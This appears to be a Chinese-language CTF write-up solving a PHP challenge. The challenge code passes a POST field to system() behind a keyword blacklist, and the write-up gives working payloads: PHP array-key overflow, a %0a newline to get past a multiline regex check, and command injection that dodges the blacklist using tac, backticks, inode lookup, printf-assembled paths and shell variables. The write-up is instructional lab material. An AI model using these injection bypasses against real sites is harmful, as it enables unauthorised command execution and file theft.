<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
題目代碼
這里有三個繞過
第一個繞過,需要一個列表與array列表完成相同,但是下標為[0]的不為'admin'
第二個繞過,通過一個正則匹配使num全為數字
第三個繞過,是一個常見的黑名單
第一個繞過,需要用到php里數組下標溢出
參考:
https://segmentfault.com/q/1010000003871264
https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/
於是得到payload
stuff[4294967296]=admin&stuff[1]=user&num=123
第一層繞過成功
第二層繞過,跨行檢測需要使用換行符%0a去進行繞過
%0a繞過正則
preg_match 函數用於進行正則表達式匹配,返回 pattern 的匹配次數,它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配后將會停止搜索。
原理如同下圖
簡而言之,就是因為%0a相當於;,后面的ls是下一行的語句了,而第一行的123已經滿足了正則表達式的條件,於是就形成了繞過
最后是命令執行的環節
這里我們可以用到tac
方法一、
使用inode繞過關鍵字
inode 索引節點
Unix/Linux系統內部不使用文件名,而使用inode號碼來識別文件。對於系統來說,文件名只是inode號碼便於識別的別稱或者綽號。目錄文件的結構非常簡單,就是一系列目錄項(dirent)的列表。每個目錄項,由兩部分組成:所包含文件的文件名,以及該文件名對應的inode號碼。可以通過ls -i
列出文件名和inode號碼
先尋找flag的inode
然后進行讀取
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`
反引號``
反引號``是命令替換,命令替換是指Shell可以先執行``中的命令,將輸出結果暫時保存,在適當的地方輸出。語法:`command`
方法二、
可以用printf將命令寫入一個文件
1 printf /fla > /tmp/hello 2 printf g >> /tmp/hello 3 tac `tac /tmp/hello` 4 5 # printf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 ta 6 c `tac /tmp/hello`
php可以將輸出的結果重定向到文件中,通過>
經過測試,發現>會覆蓋文件的內容,而>>可以在文件的尾部進行輸入
方法三、
可以通過全局變量
$a=/fla;$b=g;tac $a$b